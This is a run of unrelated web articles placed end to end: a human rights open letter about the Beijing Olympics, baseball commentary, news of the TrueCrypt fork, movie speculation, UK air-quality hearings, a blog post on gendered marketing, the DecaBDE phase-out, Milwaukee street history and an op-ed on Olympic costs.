“Denouncing the vessels as ‘pirate ships,’ people hurl stones at them as soon as they spot them. The anger is so intense, in fact, that many of the [North Korean] fishermen stand guard at the ports armed with clubs to prevent them from docking,” he concluded.This week, a Beijing court sentenced human rights activist Hu Jia to 3 1/2 years in prison for subverting state authority and to one additional year's loss of his "political rights." He was arrested in part for co-authoring, with Teng Biao, an open letter on human rights. Below, The Post printsHuman Rights Watch's translation of the Sept. 10, 2007, letter.
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On July 13th 2001, when Beijing won the right to host the 2008 Olympic Games, the Chinese government promised the world it would improve China's human rights record. In June 2004, Beijing announced its Olympic Games slogan, "One World, One Dream." From their inception in 1896, the modern Olympic Games have always had as their mission the promotion of human dignity and world peace. China and the world expected to see the Olympic Games bring political progress to the country. Is Beijing keeping its promises? Is China improving its human rights record?
When you come to the Olympic Games in Beijing, you will see skyscrapers, spacious streets, modern stadiums and enthusiastic people. You will see the truth, but not the whole truth, just as you see only the tip of an iceberg. You may not know that the flowers, smiles, harmony and prosperity are built on a base of grievances, tears, imprisonment, torture and blood.
We are going to tell you the truth about China. We believe that for anyone who wishes to avoid a disgraceful Olympics, knowing the truth is the first step. Fang Zheng, an excellent athlete who holds two national records for the discus throw at China's Special Sport Games, has been deprived of the opportunity to participate in the 2008 Paralympics because he has become a living testimony to the June 4, 1989[,] massacre. That morning, in Tiananmen Square, his legs were crushed by a tank while he was rescuing a fellow student. In April 2007, the Ministry of Public Security issued an internal document secretly strengthening a political investigation which resulted in forbidding Olympics participation by 43 types of people from 11 different categories, including dissidents, human rights defenders, media workers, and religious participants. The Chinese police never made the document known to either the Chinese public or the international community.
Huge investment in Olympic projects and a total lack of transparency have facilitated serious corruption and widespread bribery. Taxpayers are not allowed to supervise the use of investment amounting to more than $40 billion. Liu Zhihua, formerly in charge of Olympic construction and former deputy mayor of Beijing, was arrested for massive embezzlement.
To clear space for Olympic-related construction, thousands of civilian houses have been destroyed without their former owners being properly compensated. Brothers Ye Guozhu and Ye Guoqiang were imprisoned for a legal appeal after their house was forcibly demolished. Ye Guozhu has been repeatedly handcuffed and shackled, tied to a bed and beaten with electric batons. During the countdown to the Olympic Games he will continue to suffer from torture in Chaobei Prison in Tianjin.
It has been reported that over 1.25 million people have been forced to move because of Olympic construction; it was estimated that the figure would reach 1.5 million by the end of 2007. No formal resettlement scheme is in place for the over 400,000 migrants who have had their dwelling places demolished. Twenty percent of the demolished households are expected to experience poverty or extreme poverty. In Qingdao, the Olympic sailing city, hundreds of households have been demolished and many human rights activists as well as "civilians" have been imprisoned. Similar stories come from other Olympic cities such as Shenyang, Shanghai and Qinhuangdao.
In order to establish the image of civilized cities, the government has intensified the ban against -- and detention and forced repatriation of -- petitioners, beggars and the homeless. Some of them have been kept in extended detention in so-called shelters or have even been sent directly to labor camps. Street vendors have suffered brutal confiscation of their goods by municipal agents. On July 20, 2005, Lin Hongying, a 56-year-old woman farmer and vegetable dealer, was beaten to death by city patrols in Jiangsu. On November 19, 2005, city patrols in Wuxi beat 54-year-old bicycle repairman Wu Shouqing to death. In January 2007, petitioner Duan Huimin was killed by Shanghai police. On July 1, 2007, Chen Xiaoming, a Shanghai petitioner and human rights activist, died of an untreated illness during a lengthy detention period. On August 5, 2007, right before the one-year Olympics countdown, 200 petitioners were arrested in Beijing.What will the year 2077 remember about the 2017 baseball season?
Yesterday, we analyzed the most remembered events, people, stories and statistics of Major League Baseball's past 114 years for clues to help answer this question. It can be hard to anticipate what will survive, with only some correlation between sports-page coverage and future interest. We identified seven categories -- plus subcategories! -- of events that are particularly durable. Now we'll overlay the 2017 season onto these categories so we can speculate responsibly.
1. Incredible achievement, usually captured by a single number or concept
Aaron Judge's 52 homers as a rookie were a record, and records tend to be remembered for as long as they remain records. Judge's season wasn't just a statistical achievement, though. It was an aesthetic masterpiece, with his size and strength and effortless power interacting with the juiced ball, the proliferation of Statcast fun facts and the Yankees' dramatic postseason run to define the season. It had a lot in common with Mark McGwire's rookie season -- 49 homers for an ascendant team during the rabbit-ball 1987 season -- and that season is very well remembered. Judge's -- much more than, say, Cody Bellinger's -- will be, too. That is, unless somebody hits 53 homers as a rookie in the next six decades.
This is a good first pick.
The Year That... Sam Miller looks back through the lens of history at the stories, teams, players and plays that made the biggest mark on MLB in each season since 1903. The list »
1b. Incredible team (often captured by a nickname)
Cleveland won 22 games in a row, which is... sort of a record. It's unambiguously the American League record, though league records don't have much cache now that the leagues are barely distinct from each other. To people who discount the 1916 Giants' 26-game win streak -- because there was a game in the middle of it that ended (due to rain and darkness) in a tie -- it might even be the record. But those people have not yet won the argument, which is why one year ago, I couldn't have told you who held the non-Giants-because-there-was-one-tie record for longest win streak. (It was the 1935 Cubs.) Therefore, we must conclude that the Indians too will likely be mostly forgotten, despite winning 22 games in a row, which is, in fairness, a lot.
(A colorful team nickname is extraordinarily important to being remembered as a team. I did not know about the 1935 Cubs, but I do know about the 1934 Cardinals, who were worse and set no records but were called the Gashouse Gang. Everybody knows the Gashouse Gang!)
We'll get to the champion Astros in a minute.
1c. Incredible single play or sequence of plays, often aided by iconic photo or video images
Jose Altuve's three-homer game to kick off the American League Division Series is a dark horse. Three-homer games in the postseason used to be almost automatic immortality, but more postseason rounds and more homers have made these games more common. (There have been as many since 2010 -- five -- as there were in the entire 20th century.) But Altuve's is a better bet to survive than Enrique Hernandez's because the Astros went on to win the World Series and because Altuve did it in an MVP season. Still, it's doubtful.
On the other hand, I don't believe I've ever seen anything like the 2017 Home Run Derby -- and especially what Judge did in it, effortlessly cranking opposite-field homers and the occasional 500-foot blast while his peers giggled and shrieked. The question is whether this is simply a format that players have finally conquered -- Justin Bour hit 22 in a round, for goodness' sake, whereas there were five homers hit in the entire 1990 contest -- in which case next year's might top it. If not, I could see watching the 2017 Home Run Derby (condensed and commercial-free, of course) every year on the first morning of the All-Star break. In fact, I foresee myself watching it... right now. BRB.
2. The moment the timeline begins
Nominations for this category are almost always impossible to see in the moment. I doubt anybody in the early 1900s thought Fenway and Wrigley would survive a century -- or perhaps even that Major League Baseball would. Meg Rowley, of Baseball Prospectus, suggested to me that in 60 years we might remember 2017 as the year the players' association started to die because (to some observers) the union conceded too much in the new collective bargaining agreement. But of course, 2017 saw only one small step toward one possible future for the union, and assessing what the players got or conceded in this CBA is itself impossible without years of retrospection and analysis. Which is to say, I like Rowley's suggestion. It's a creative and insightful suggestion, but we're mostly skipping this category.
3. Bloopers and/or extraordinary failures
Here's my sleeper: Austin Jackson not running out the dropped third strike of the American League Championship Series. Watch:
Gary Sanchez could have simply tagged him to complete the out, but instead he stuffed the ball in his pocket and ran out to the mound. Here's the rule:
Rule 6.09(b) Comment: A batter who does not realize his situation on a third strike not caught, and who is not in the process of running to first base, shall be declared out once he leaves the dirt circle surrounding home plate.
Jackson does not do that until Sanchez is already to the mound. Theoretically, even after Sanchez had abandoned the play, Jackson could have still run to first. See Todd Frazier, the Yankees' third baseman, pointing toward Jackson, acknowledging this risk. Sanchez would have had to take the ball back out of his pocket and tag or throw him out. A tag, let's assume, would have been impossible at that point. Note that the Yankees' first baseman, Greg Bird, doesn't appear in the first shots of the celebration, so perhaps he stayed near the bag just in case.
If Jackson had started running, would Sanchez have noticed in time to throw him out? If not, would the plate umpire have allowed it, or would he have declared that the play was already over? If he allowed it, would the Indians have completed a comeback against Aroldis Chapman? If they had, would the Indians have snapped their long World Series drought? If they had, would this have gone down, along with Mickey Owen's disastrous dropped third strike in the 1941 World Series, as an obit-leading blunder on Sanchez's part? Maybe the answer is no, to any or all of those questions. But the point is this is exactly the sort of play that doesn't seem that big in the moment -- it was barely noticed anywhere, wasn't mentioned on the broadcast, got a short write-up by Indians beat writer Paul Hoynes -- but has the potential to pick up intrigue decades later, when the principal actors get old and forgetful and the fundamental mysteries of the play become unsolvable. That's especially true if Cleveland's World Series drought stretches past a century. The Billy Goat wasn't a big thing in Chicago until decades afterward.
It's probably not going to be this play. But I could 100 percent imagine it.
4. Pathos
There are no 2017 nominations for this category.
5. Disruption of baseball's basic equilibrium
The juiced-ball timeline, if you haven't been quite clear on it, is this: Around the All-Star break in 2015, home run rates suddenly shot up, almost literally overnight. The evidence, from both writers and physicists, suggests that the spike is consistent with subtle (and perhaps unintentional) changes to the seam heights on major league baseballs. (Flatter seams lead to less air resistance and more carry.) But home run rates kept going up even after that, perhaps because hitters were tailoring their swings and approaches to an environment in which fly balls were more valuable. In 2017, a record 2.52 home runs were hit per game, a 9 percent increase over 2016, which had seen a 15 percent increase over 2015, which had seen a 17 percent increase over 2014. There were a record 25 homers hit in the 2017 World Series. There were eight home runs hit in one WS game and seven in another, compared to just six in the entire 2014 World Series.
But whether we remember 2017 as the juiced-ball year depends on whether things go back to normal in 2018. If they don't, then 2015 -- as the start of the home run timeline -- will probably be remembered as the change year, and some future season in which even more home runs get hit will be remembered as the peak Year Of The Dinger. However, if the seams rise slightly and home runs dip by 20 percent next season, 2017 will be remembered as the year it reached absurdity, and decades of future fun facts will end with "... since 2017." As in: "Scooter Cloddywomp homered three times against the Giants on Tuesday night. That's the most home runs by a Scooter in a single game since 2017."
6. When the larger world intersects with baseball or vice versa
There are no 2017 nominations for this category.
7. By being weird, by being almost literally unbelievable or inexplicable
Crucially, things that are somewhat inexplicable sometimes become much more inexplicable with time. There's a case here for the 2017 Astros, specifically as the fulfillment of the Sports Illustrated cover prophecy. As I wrote after Houston won the World Series, most of us are amused by the cover but recognize that it wasn't an outlandish prediction. But in 60 years, to people who didn't live through the #process, it could quite possibly take on the intrigue of ancient witchcraft. That's especially true if the game's economics change enough that the predictable teardown/rebuild cycle is no longer common or recognizable. Also, in 60 years, nobody might even know what a magazine cover is. "You mean it just showed up in people's houses? Some stranger just dropped a prediction that the worst team in baseball would win the World Series exactly three years later? Spooooooky."
But that's not my nomination here. Rather, it's this: The two best hitters in baseball were the shortest one and the tallest one. That is so weird, particularly because baseball is not a sport that naturally benefits short people or tall people. We all talk about it how short Altuve is and how tall Judge is; we talk about those things to death, and we still probably don't talk about them enough. It is so, so weird. And it's not weird in a deep, thought-provoking way. It's weird in the way that can be captured in one picture, a picture you have already seen -- 30 times? 40? In fact, it's at the top of this article. It's the one with Altuve and Judge standing next to each other at second base, one crazy moment in one wonderful image, and I don't believe there will be even one baseball fan in the next six decades who doesn't see it. The odds are that neither player will ever have a season as good as he just did. The odds are that this was the peak moment in extreme body outliers. And so that's my answer: 2017, the year of that photo, the year of that MVP race, the year of that ALCS. It was the year not of Judge or Altuve, but of Judge and Altuve.
Thanks to Zachary Levine, Meg Rowley and Craig Goldstein for consultation.The development of TrueCrypt, an open source piece of software used for on-the-fly encryption, has been terminated and users have been advised not to use it because it is not secure enough. Now, it seems that another team of developers have forked the software and rebased it in Switzerland.
The abrupt announcement of the demise of TrueCrypt took everyone by surprise and some of its users have been disappointed that their favorite software is no longer being developed. The Sourceforge website, where the project was keeping its files, is now plastered with warnings that TrueCrypt is no longer secure because it is full of security issues.
Fortunately for us, TrueCrypt was an open source project and that meant that anyone could take it and fork it into another version, and try to fix some of the problems reported. Whether this will be a success remains to be seen, but at least there is a chance that it will live on.
Many users think that the TrueCrypt project has been forced to close its doors by various other malevolent forces, like the US government, for example. To be fair, the US government is accused of many such acts, but it is likely that it's not actually responsible for all of them.
So, TrueCrypt has now been rebased in Switzerland and the project has been forked by another team of developers. They are promising that the security problems will be fixed and that no one will be able to force them to close the gates.
“Currently it is very unclear what really happened. Was it really just the end of a 10year effort, or was it driven by some government. While a simple defacement is more and more unlikely we still don't know where this is going. However the last 36 hours showed clearly that TrueCrypt is a fragile product and must be based on more solid ground. We start now with offering to download the Truecrypt file as is, and we hope we can organize a solid base for the Future,” reads the new truecrypt.ch website.
Thomas Bruderer and Joseph Doekbrijder are two developers who are now organizing the efforts for an audit of the software. So far, TrueCrypt doesn't seem to have any problems in terms of security,
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Incredible Hulk, Iron Man 2, Thor, and Captain America: The First Avenger in one massively multiplayer action adventure flick. About a month or so later, Warner Bros. unleashes the end to Christopher Nolan’s bat-child, The Dark Knight Rises. There’s no doubt in my mind that both of these movies will be amazingly profitable. But the debate is this: which will bank more bucks? Which will be a better movie? Let’s look at the tail of the tape.
First up? Marvel’s Mightiest Heroes. Behind the scenes, we have the consummate king of the nerds… Joss Whedon as director. His writer team? Well… Whedon wrote with Zak Penn. Penn you’ll note wrote the successes such as The Incredible Hulk and X2, and the failures such as X-Men: The Last Stand and Electra. On the screen itself, the cast is of course a veritable galaxy of stars. Samuel L. Jackson, Robert Downey Jr., Chris Evans, Chris Hemsworth, Scartlet Johansson, and Gwyneth Paltrow will all be in the film. Unlike any other franchise in history, The Avengers will coalesce four franchises into a single picture. From here? It’s all but a given that the there will be a sequel, as corresponding sub-sequels for all the individual characters. Can you hear that? It’s the sound of money growing on trees. Trees that became paper. Paper that became comic books.
The Dark Knight Rises, as previously mentioned, is helmed by Christopher Nolan. Nolan’s career has been nothing short of a meteoric ascent to directorial gold. Nolan also helped pen this end to his triptych with his brother Jonathan, and David S. Goyer – who, as you will recall, helped pen Batman Begins and Blade 2. And Ghost Rider: Spirit of Bad Acting. But you can’t win them all, can you?
Under the cape and cowl will once again be Christian Bale, joined by series stalwarts Michael Caine, and Morgan Freeman. The villain this go-around will be played by Tom Hardy. You’ll recognize Hardy as the mildly funny Brit in Inception. While not as big in scope as Marvel’s upcoming blockbuster, The Dark Knight Rises is the follow up to the single most profitable comic book inspired movie of all time. For those who don’t recall, The Dark Knight did so well in the movie theaters, comic retailers reported sales of The Watchmen had gone up in response (which is nothing short of amazing, if you ask any retailer these days). With TDKR, Nolan puts his series to an end. Speculation on the plot, and how things will resolve has most everyone around in a tizzy.
The question then to ask: Which movie will make more money? Needless to say, both will bank boku bucks. For the sake of this argument, I’ll remove revenue from merchandise. Why? Because face it: Nolan’s Bat-Flicks haven’t spawned successful lines of toys; Marvel’s has. Specifically speaking on ticket sales? This is quite the toss up, is it not? On one hand you have the obvious ultimate popcorn movie in The Avengers. From the trailers we can safely assume there’s going to be wall to wall action, explosions, the Hulk, fighting, one liners, and boobs. Opposing that mentality, Nolan will nab those looking for a bit more substance. Whereas Marvel’s flicks were squarely targeting tweens and teens (with a side of general comic nerds and action geeks to boot…), DC’s Bat-Franchise has been nothing if adult in its complexity.
Gun to my head… if you asked me to choose, I’d end up with the nod to the Avengers making more moolah at the end of the day. The Dark Knight had the death of Heath Ledger, on top of the oscar buzz for his performance, on top of previous audience gained from Batman Begins. But TDKR features a villain most people aren’t familiar with (Bane ain’t exactly a household name now, is he?), and a star whose potential is only just now being noticed. And if other comic book trilogies are to be looked at (Spider-Man, X-Men, and previous Bat-Incarnations), the end of an era does not always translate into positive earnings. With The Avengers, we simply have too many stars to not draw an amazing crowd. Fans of any of those feeder movies no doubt want to see a team up. It’s the whole reason books like The Avengers and Justice League always sell so well!
Now, I would give The Dark Knight Rises the edge ultimately in terms of potential film quality. Not a knock on The Avengers mind you… I think from what we’ve seen, Whedon will deliver the goods. But The Avengers has more chance to pratfall than ascend to nerdvana. With so many stars on screen, there’s a real chance too much time will be spent assembling, mocking, and joking. And we can tell much of the movie will be dealing with a Loki-lead invasion fight scene. And just how much CGI action can we effectively sit through? Given the spectacle (and disappointment) of the last Matrix movie, suffice to say I’m fretful.
With Batman, Nolan seems to have been methodically building a dramatic arc. Bruce Wayne by way of Batman Begins and The Dark Knight has been an evolving force of nature. But Nolan’s best job has been grounding that force in reality. He’s delivered where so many others have failed: comic book movies without heroic quips and a knowing wink to the camera. When that theme of the dissonant chords let us know the Joker was at work, it was truly chilling. To think that Nolan is ending this series, one must postulate he’s had an ending in mind since the start. On that knowledge, I give the edge over to DC. Simply put, I’m more excited for their flick because I genuinely do not know what will happen.
In The Avengers? I’m almost certain we’ll have the following: Loki attacks. Avengers assemble by way of initial in-fighting. Disaster. True assembling. Fighting. Explosions. Boobs. Victory. Open ending for more sequels. Not that it’s a bad formula… but it’s just that: a formula.
So, plenty of points to discuss. Flame me, Internet, for I have opinions. Will Bats take more money? Will Avengers be the Return of the King for Comic Book movies? Discuss!
SUNDAY: John Ostrander
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Pocket× Woman without pants on steals NC police cruiser, crashes into wall
CHARLOTTE, N.C. — A woman without any pants on allegedly stole a North Carolina police cruiser and crashed it into a wall.
WBTV reported that it happened Friday night after police were called to a Charlotte neighborhood in reference to a transformer struck by lightning.
The woman ran out without wearing pants as firefighters were working to control a fire that started on an electrical box, according to the TV station.
The woman claimed someone was chasing her with a gun. Police said as they were investigating that claim, she jumped into a police cruiser and took off.
Police said she crashed into a retaining wall after a short chase, resulting in one person being taken to the hospital.MPs say ministers are showing no confidence in tackling the illegal levels of air pollution that prematurely kill an estimated 40,000 people a year
Ministers have been accused of having to be “dragged screaming” to tackle illegal levels of air pollution across the UK, which kills an estimated 40,000 people a year prematurely.
Neil Parish, co-chair of a parliamentary inquiry into air quality, told ministers from the Treasury, environment, transport and local government departments they were showing no confidence that they would tackle toxic air pollution as soon as possible.
“We are not getting any clear message here about what you are doing about it,” he said. “The government is being dragged all the time screaming to put poor air quality right.”
A new air quality plan to reduce nitrogen dioxide emissions from traffic and other sources was produced this summer by the government. Previous attempts to cut air pollution were found to be so poor as to be illegal by the high court, and the government has been ordered to bring levels of nitrogen dioxide pollution within legal EU levels as soon as possible.
Five cities and 23 local authorities have been selected in the new plan to come up with measures to reduce illegal levels of nitrogen dioxide by December 2018. But the government refused to legislate for more “clean air zones” that would charge the dirtiest vehicles to enter the UK’s most polluted cities and has stopped short of bringing in a diesel scrappage scheme.
Minister were accused by MPs on the inquiry of passing the buck under the new plan to local authorities to make politically unpopular decisions about charging diesel vehicles.
Thérèse Coffey, environment minister, denied this. She said she was working with the local authorities to support them in drawing up plans. She said all but one of the five most polluted cities outside London – Southampton, Derby, Leeds, Birmingham and Nottingham – were on target to produce their draft plans in March next year and final plans in December 2018 for implementation in 2021. Derby, however, has yet to produce its preferred measures and she said she had concerns about whether they would keep to the timetable.
“Air quality is improving,” she said. “Not as quickly as we would like and we fully recognise we are in breach of one element of the air quality directive. We are actively improving air quality and I don’t agree we are being dragged to try and improve air quality … We have great urgency which has led us to direct councils to work on their plans.”
Coffey said she has written to all the 28 local authorities identified in the new air quality plan and government was providing help and funding through a £225m implementation fund and £222m clean air fund, which was announced in last week’s budget.
Coffey said councils were anxious about the prospect of charging drivers of diesel vehicles to enter their towns and cities. “We have to get these plans in place to achieve better air quality as quickly as possible, but if charging [drivers] is the only way they can achieve that then we will work with them [local authorities] on that. But I strongly believe most councils are desperate to try and find other ways to improve air quality.”
A Derby city council spokesperson said the council “takes the issue of air quality very seriously and we already have a number of measures in place to tackle it. We are currently undertaking work to develop additional measures to reduce air pollution that work best for the city of Derby.”
The inquiry into air quality has heard evidence from leading health professionals who described air pollution in the UK as a public health crisis. A report by the Royal College of Physicians and of Paediatrics and Child Health said last year that outdoor air pollution is contributing to an estimated 40,000 premature deaths a year.
Prof Stephen Holgate, asthma expert at Southampton University and chairman of the reporting group, told MPs on the inquiry that there were no safe levels of pollution from nitrogen dioxide.
The inquiry challenged ministers on their commitment to encouraging more people to walk, cycle or take public transport.
MPs said £46bn had been spent on funding tax breaks on diesel vehicles but just a small fraction of that amount – millions rather than billions – on air quality initiatives and green public transport.
Andrew Jones, Treasury minister, said the government had allocated £3.5bn over 10 years for air quality and cleaner transport initiatives, which he described as a “significant amount of money.”
The government’s new air quality plan was published in July, with a promise to ban petrol and diesel cars in 23 years. But leaders of eight of the most polluted cities have written to the environment secretary, Michael Gove, to say it is inadequate. They have called for called for urgent legislation and a proper diesel scrappage scheme, saying the air quality plan would not enable them to keep to their legal limits on pollution.This week, while I was doing my grocery shopping, I noticed something odd. Among the plethora of toiletries, I came across men’s toothpaste. That’s right, toothpaste. For men. I found myself interested in what it had to offer. I mean, if a company was trying to advertise toothpaste to men, there had to be something distinctly manly about it, right? Unsurprisingly, no. The only difference was in the actual packaging. It was much darker, with the strong silver word “MAN” embellished on the side. I began to think of the various other products out there, marketed towards men. Deodorant. Body wash. Even sun-cream. Yet, these are all products that both men and women use frequently. So, why do businesses feel to need to gender these neutral products? Because masculinity is a commodity.
I’ve always had a rich interest in the world of marketing, especially packaging. Businesses must pitch to you their products, its features and benefits in quite a limited surface area. Many businesses sacrifice some of this space to print words like “MAN”, or “MANLY”, or something even more pathetic. Companies understand the market. They understand that men and women shop differently. While women might look for quality in the products they purchase, and the subjective benefits that comes with it. Men, on the other-hand, look at things such as price. However, even price can be overshadowed by the genderization of a product as inherently manly. Why? Masculinity is fragile. Shockingly so.
Marketing nowadays is complex. Businesses are no longer selling us just a product, they are selling us ourselves. This is prevalent in the market of “manly” goods. Men are reassuring themselves of their masculinity by purchasing “masculine” products. Take for example, the unholy amount of Lynx products found in the gym. You wouldn’t be caught dead in the men’s showers with a Aveeno body-wash, would you? The problem stems from the issue of male chauvinism in society. Boys are told from a young age that they must behave in a certain way in order to be considered a “man”. They grow up trying to fit this mold. They spend the majority of their formative years trying to become the unattainable ideal that society taught them to strive for. So, they buy products that tell them, in big bold letters, that they are a man. The ideal of masculine superiority can be achieved, because it can be bought.
The controversy in regards to Pepsi’s recent ad campaign shows how ideologies, such as masculinity, have become commodities. The ad, featuring Kendall Jenner, sparked wide-spread backlash, and rightly so. Pepsi was not only selling the soda, it was attempting to sell you solidarity. By purchasing Pepsi, they led you to believe you were contributing your part to the ongoing struggles of the modern day. [eg. the Black Lives Matter movement] Pepsi was telling you that in order to contribute positively to society, all you had to do was purchase their product. They reduced social and political action to a commodity, that could be bought.
The commodification of masculinity is more complicated. Society itself created the idea of “masculinity”, and society is the one selling it to you. Businesses are honing in on the frailty of this idea, and they are turning it into profit. If you were to compare the price of a Lynx deodorant, and for example, Dove, you would see the problem. Businesses understand that men are willing to pay more to assure themselves of their masculinity. So, they abuse it. Apart from price, what exactly makes these items different? In the grand scheme of things, nothing.
Even as young kids, businesses were feeding you these ideas. Remember when Yorkie used to market itself as “NOT FOR GIRLS”? Even before kids understood the difference between men and women, boys were taught that masculinity comes with entitlement. Even if it’s just a chocolate bar. Once the seed was planted, they grew up believing it. Then, as adults, they search for reassurance in the products they purchase.
Masculinity, like most other things, is a social construct. The fear of being “feminine” is a real issue in society. It will take some time for people to recognize this, and move past it. For now, who can blame companies for trying to profit off of the insecurity they foster in you? You’re the one buying into it.
Anyway, that’s what’s been on my mind lately. Hope you’re having a great day, and an even better week.
Thanks for reading!Three manufacturers of a commonly used fire retardant have voluntarily agreed to phase out its production within three years in a pact with the Environmental Protection Agency.
Environmentalists have long advocated a ban on the retardant decabromodiphenyl ether, or DecaBDE, which is used widely in consumer electronics, furniture and textiles, among other items. It has been found to be a potential carcinogen and to be toxic to the nervous system.
The agreement, with the manufacturers Chemtura, Albemarle and ICL Industrial Products, would end the production, importation and use of the chemical in all consumer products by December 2012. A full ban would take effect one year later.
No accord has been reached with a Japanese manufacturer that exports products with the substance to the United States.
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The chemical “persists in the environment, potentially causes cancer and may impact brain function,” Steve Owens, the E.P.A.’s top toxics official, said in announcing the deal late Thursday. Mr. Owens said it could also degrade into more toxic chemicals hazardous to wildlife.
Some states have already passed legislation prohibiting the product’s manufacture or use in certain products, and others are weighing similar laws.Sign-up for the Urban Milwaukee daily email
Kilbourn Avenue, which has some of the city’s most beautifully landscaped medians, was not always wide enough for them and was actually not always called Kilbourn Avenue. The building of a bridge over the Milwaukee River resulted in the wide street with a new name.
When Solomon Juneau and Morgan Martin laid out Juneautown in 1835, Wisconsin was part of the Michigan Territory. The pair named several Juneautown streets for influential Michigan men, including John Biddle. Biddle Street, now East Kilbourn Avenue, ran from the lake bluff to the river. Biddle, who had served as Indian affairs agent at Green Bay and mayor of Detroit, was president of Michigan’s Constitutional Convention at the time the street was named for him.
On the other side of the river was Cedar Street, which originally extended west to N. 12th Street. Other Kilbourntown streets were also named for trees, including Chestnut, Sycamore, Tamarack, Poplar, Cherry and Walnut.
In the 1890s, residents on both Cedar and Biddle Streets petitioned to have a bridge put over the river to connect their streets. By 1909, nothing had been done to bridge the river but Alfred Clas, a well-known Milwaukee architect, submitted his plans for a grand new civic center on the street. His design included a very broad roadway with wide medians between City Hall and a new County Courthouse on N. 9th and Cedar Streets. New civic and cultural buildings would flank both sides of the thoroughfare.
In the mid-1920s, the sentiment of the Common Council was to approve the bridge connecting the streets, but not the construction of the wide roadway. However, the city’s Socialist aldermen would not vote for the bridge without the commitment to widen the street. The Socialists prevailed and both the new bridge and road-widening projects were approved.
In 1929 the bridge was completed, the road was widened, and the two streets became one. Under a city policy put into effect a few years earlier, a street could only have one name, so something had to change. The residents on Biddle Street wanted Cedar renamed Biddle. The people on Cedar Street wanted Biddle to be called Cedar. Others did not want either Cedar or Biddle; they wanted a new name.
The Milwaukee Sentinel called for its readers to send in their suggestions and about 200 names were offered for consideration. Some wanted to honor one of three presidents: Lincoln, Coolidge or Hoover. Others offered the names of politicians closer to home, LaFollette and Hoan. Putting them all together, someone proposed that it be called Political Drive. Many submissions included the Civic Center aspect; among them were Civic Drive, Civic View Drive, and Civic Center Boulevard. The Common Council’s Streets and Alleys Committee sifted through the naming ideas and recommended that Kilbourn Avenue be chosen. The council agreed.
Byron Kilbourn, one of the founders of Milwaukee, was born in Connecticut in 1801. In 1834 Kilbourn, a civil engineer searching for a site for a port city on the western shores of Lake Michigan, decided that Milwaukee’s bay would be the best place. After buying land downtown west of the Milwaukee River, he set about turning Kilbourntown into a city. He replaced trees and marshes with streets and sidewalks. Over the years he helped improve access to the city with bridges, roads, railroads, and enhanced harbor facilities, in the process becoming a wealthy man. For 34 years Kilbourn promoted his city, which was combined with Juneautown and Walker’s Point to become Milwaukee in 1846. In 1868 he moved south for his health and died in Florida two years later.
Today a tour down Kilbourn Avenue from Juneau Park includes numerous opportunities to sit and cool off on a hot day. In addition to Cathedral Square, Red Arrow and Père Marquette parks, there are shady benches on medians, and at the plazas of MGIC, Plaza East, and the Peck Pavilion. Along the way are gardens, sculptures, attractive buildings and historical markers.
At Cass Street is the Woman’s Club of Wisconsin, built in 1888, and a city landmark. The building is a “gathering place for thoughtful and socially conscious women,” according to the organization’s website. It is the oldest woman’s club in the United States.
The rescue of Joshua Glover took place at the county jail that was at the north end of Cathedral Square in 1854. Glover, a black man who escaped slavery in Missouri, was captured in Racine and brought to the Milwaukee jail to await his return to Missouri as required by the Fugitive Slave Act. Milwaukeeans defied the law and broke Glover out of jail and sent him on his way to freedom in Canada.
During the summer, the thoroughfare along Cathedral Square Park is one of the most often closed streets in the city. It is blocked off on Thursday evenings for “Jazz in the Park” and on Saturday mornings for the farmers’ market. During Bastille Days, no traffic is allowed on the avenue between North Van Buren Street and North Broadway. But partying on the street appears to be doomed. The new streetcar line is slated to run on that section of the boulevard, requiring that the street remain open.
On West Kilbourn, a marker at N. 4th Street shows the place where the first African-American church built in Wisconsin was located. The Methodist Episcopal place of worship became known as “the friendly church” during its 43 years (about 1870-1913) at the site. Across the boulevard, between N. 4th and N. 6th Streets, the UW-Milwaukee Panther Arena and the Milwaukee Theatre flank the wide street, the latter originally known as the Milwaukee Auditorium, which was designed by Clas and opened in 1909.
Until the 1960s, West Kilbourn Avenue was a wide street all the way to the courthouse at N. 9th Street. Then, new freeway tunnels and a parking garage were constructed, cutting off Kilbourn Avenue at N. 6th Street and replacing the tree-lined boulevard with the inaccessible and desolate MacArthur Square. The street resumes on the other side of I-43 where it is too narrow for landscaped medians and becomes mostly residential. It ends at N. 38th Street.
Carl Baehr, a Milwaukee native, is the author of Milwaukee Streets: the Stories Behind their Names, and articles on local history topics. He has done extensive research on the sinking of the steamship Lady Elgin, the Newhall House Fire, and the Third Ward Fire for his upcoming book, “Dreams and Disasters: A History of the Irish in Milwaukee.” Baehr, a professional genealogist and historical researcher, gives talks on these subjects and on researching Catholic sacramental records. He earned an MLIS from the UW-Milwaukee School of Information Studies.
Sites Along Kilbourn AvenueAmerican taxpayers should breathe a retrospective sigh of relief that seven years ago New York was not chosen from among five finalists to host this summer’s Olympic Games. The International Olympic Committee (IOC)’s selection of London as the 2012 host city ensured British taxpayers are picking up the exorbitant tab for the world’s most economically dubious sporting event.
Simply bidding for the Olympics cost London a cool $25 million. Proponents saw that as money well spent given that no other sporting event draws more visitors from so many parts of the globe nor so visibly showcases the host city. It was assumed that the Olympics would bring London enormous economic benefits.
After all, everyone knows that such mega sporting events as the Olympics generate so-called “Big Booms” of tourism, boosting local incomes while construction and infrastructure projects create large numbers of new jobs. At least, that’s what the host cities’ economic impact studies always tell us.
Today, Britons are told that building the Olympic Park will regenerate a rundown section of London’s East End, a lasting legacy thanks to new rail lines and improved public transport. At an original estimate of $2 billion, such urban regeneration was an obviously sensible investment.
Such economic confidence stemmed, however, from a peculiar reading of the economic history of the Olympic Games. London’s backers expect a significant “Olympic Legacy,” whereby a successful event increases post-Games tourism and attracts new foreign investors as infrastructure improvements kick-start blighted urban areas.
Sadly for the British taxpayer, such pro-Olympics economic propaganda represents the triumph of hope over experience, as both London 2012 and past Olympics perfectly illustrate.
For the 2012 Games, London originally estimated total costs at $4.7 billion. Within two years, the official estimate had risen to $15 billion, more than triple the cost at the time of the 2005 bid. As significant private funding never materialized, $15 billion in British taxpayer money was hurriedly allocated to pay for these Olympics.
With the UK National Audit Office revealing that private-sector funding now constitutes less than two percent of the Olympic budget, the UK parliamentary Public Accounts Committee has predicted total costs around $18 billion. Worse still, an analysis by the Sky Sports TV network, which included the costs of upgrading public transportation, now puts the cost of the Olympics at a staggering $38.5 billion!
This financial calamity should not come as a surprise. Ballooning budgets and debt burdens are always the most likely Olympic outcome.
The Chinese government budgeted $14.2 billion but spent $40 billion on the 2008 Beijing Games. The 2004 Athens Olympics costs ten times the original estimate of $1.6 billion. A decade earlier, Spanish taxpayers were left $6.1 billion in the hole at the conclusion of the 1992 Barcelona Games.
